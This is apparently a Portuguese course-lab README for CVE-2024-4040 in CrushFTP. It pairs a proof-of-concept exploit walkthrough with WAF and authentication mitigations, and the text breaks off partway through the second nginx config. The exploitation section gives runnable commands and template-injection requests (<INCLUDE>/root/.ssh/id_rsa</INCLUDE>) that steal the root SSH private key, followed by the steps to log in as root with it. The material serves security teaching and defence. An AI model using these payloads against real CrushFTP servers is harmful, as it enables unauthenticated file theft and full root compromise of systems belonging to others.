
Prova de conceito para CVE-2024-4040 (CrushFTP SSTI -> LFI não autenticado) em ambiente de laboratório CS443 controlado - apenas para uso educacional/autorizado.
Apenas para fins educacionais e uso laboratorial autorizado.
CS443 Segurança de Software e Sistemas — ambiente Docker local controlado.
| Campo | Detalhe |
|---|---|
| CVE | CVE-2024-4040 |
| Software Afetado | CrushFTP < 10.7.1 (branch v10) / < 11.1.0 (branch v11) |
| Tipo de Vulnerabilidade | Injeção de Template no Lado do Servidor (SSTI) → Leitura de Arquivos Local Não Autenticada |
| Pontuação CVSS | 9.8 Crítica |
| Impacto | Atacantes não autenticados podem ler arquivos arbitrários do sistema de arquivos do servidor |
O WebInterface do CrushFTP avalia expressões de template no parâmetro path do comando zip sem sanitização. Um atacante não autenticado pode obter cookies de sessão anônimos e, em seguida, usar esses cookies para passar payloads de template ({working_dir}, <INCLUDE>…</INCLUDE>) que o servidor avalia e retorna — permitindo leitura arbitrária de arquivos no host.
| Componente | Valor |
|---|---|
| Alvo | http://localhost:8080 |
| Versão Base do CrushFTP do PoC | 10.3.0 (intencionalmente vulnerável) |
| Ambiente de Teste da Mitigação 3 | Contêiner separado executando CrushFTP 11.x (branch corrigida) |
| Porta SSH (contêiner) | 2222 → 22 |
| Credenciais de Admin | admin / admin |
| Runtime do Contêiner | Docker (Compose) |
pip install requests rich
| Script | Fonte | Propósito |
|---|---|---|
crushed.py | Stuub/CVE-2024-4040-SSTI-LFI-PoC | Exploração completa SSTI/LFI — roubo de sessão, leitura arbitrária de arquivos |
recon.py | Este repositório | Detecção de versão, teste SSTI ao vivo, confirmação de vulnerabilidade |
docker-compose up -d
Aguarde aproximadamente 10 segundos para o CrushFTP inicializar completamente antes de executar os scripts. Nenhuma etapa separada de reconhecimento é necessária aqui porque o crushed.py já verifica se a exploração é possível durante a execução.
python crushed.py -t http://localhost:8080 -l /root/.ssh/id_rsa
O script irá:
CrushAuth / currentAuth do /WebInterface/{working_dir} para resolver o diretório de instalação do CrushFTP<INCLUDE>/root/.ssh/id_rsa</INCLUDE> para ler o arquivo alvoCopie o bloco da chave privada da saída (tudo desde -----BEGIN OPENSSH PRIVATE KEY----- até -----END OPENSSH PRIVATE KEY-----).
cat > stolen_id_rsa << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
<cole a chave da saída>
-----END OPENSSH PRIVATE KEY-----
EOF
chmod 600 stolen_id_rsa
ssh -i stolen_id_rsa root@localhost -p 2222 -o StrictHostKeyChecking=no
whoami
# Esperado: root
id
# Esperado: uid=0(root) gid=0(root) groups=0(root)
hostname
# Esperado: <id_do_contêiner>
Atacante não autenticado
│
▼
GET /WebInterface/ ← obtém cookies anônimos CrushAuth + currentAuth
│
▼
POST /WebInterface/function/
?command=zip
&path={hostname} ← SSTI confirmado — template avaliado pelo servidor
│
▼
POST /WebInterface/function/
?command=zip
&path={working_dir} ← vaza o caminho absoluto de instalação
│
▼
POST /WebInterface/function/
?command=zip
&path=<INCLUDE>/root/.ssh/id_rsa</INCLUDE> ← leitura arbitrária de arquivo
│
▼
SSH -i stolen_id_rsa root@localhost -p 2222 ← shell root completo
| Problema | Localização | Detalhes |
|---|---|---|
| Dependência ausente | Linhas 6–9 | Requer pip install rich antes de executar |
| Parsing XML frágil | Linhas 86, 140 | Falha em respostas do servidor que não são XML; sem tratamento de ParseError |
| Regex de token muito restritiva | Linhas 160–161 | Padrão CrushAuth=…; currentAuth=… pode não corresponder a todos os formatos de sessions.obj |
| Apenas HTTP 404 | Linha 53 | Captura de cookie só funciona em 404; falha silenciosamente em outros códigos de status |
Um WAF atua como um proxy reverso que inspeciona o tráfego HTTP/S de entrada antes de chegar ao CrushFTP. Usando NGINX com ModSecurity, requisições maliciosas que exploram o CVE-2024-4040 são bloqueadas na borda da rede sem modificar o próprio CrushFTP.
../, %2e%2e) nas URIs e cookies das requisiçõesUse Mitigação 1/docker-compose.yaml:
services:
crushftp:
build: .
expose:
- "8080"
ports:
- "2222:22"
nginx:
image: nginx:latest
ports:
- "8080:80"
volumes:
- ./nginx.conf:/etc/nginx/nginx.conf
depends_on:
- crushftp
Use Mitigação 1/nginx.conf:
worker_processes 1;
events {
worker_connections 1024;
}
http {
# Ativar ModSecurity
modsecurity on;
modsecurity_rules_file /etc/modsecurity.d/setup.conf;
upstream crushftp {
server crushftp:8080;
}
server {
listen 80;
server_name localhost;
# Proxy de todo o tráfego para o CrushFTP
location / {
proxy_pass http://crushftp;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
# Retornar 403 para requisições bloqueadas
error_page 403 /403.html;
location = /403.html {
return 403 '{"error": "Requisição bloqueada pelo WAF"}';
}
}
}
Atacante -> NGINX WAF (porta 80) -> bloqueia malicioso -> 403 Forbidden
-> encaminha limpo -> CrushFTP:8080
O CVE-2024-4040 é explorável sem autenticação. Neste laboratório, o acesso anônimo é bloqueado na camada do NGINX exigindo um cabeçalho Authorization antes de encaminhar rotas sensíveis ao CrushFTP.
crushed.py dependem de acesso não autenticado; requisições sem credenciais são rejeitadas com 401/WebInterface/ e / são negadas a menos que dados de autenticação estejam presentesservices:
crushftp:
build: .
expose:
- "8080"
ports:
- "2222:22"
nginx:
image: nginx:latest
ports:
- "8080:80"
volumes:
- ./nginx.conf:/etc/nginx/nginx.conf
depends_on:
- crushftp
events {}
http {
server {
listen 80;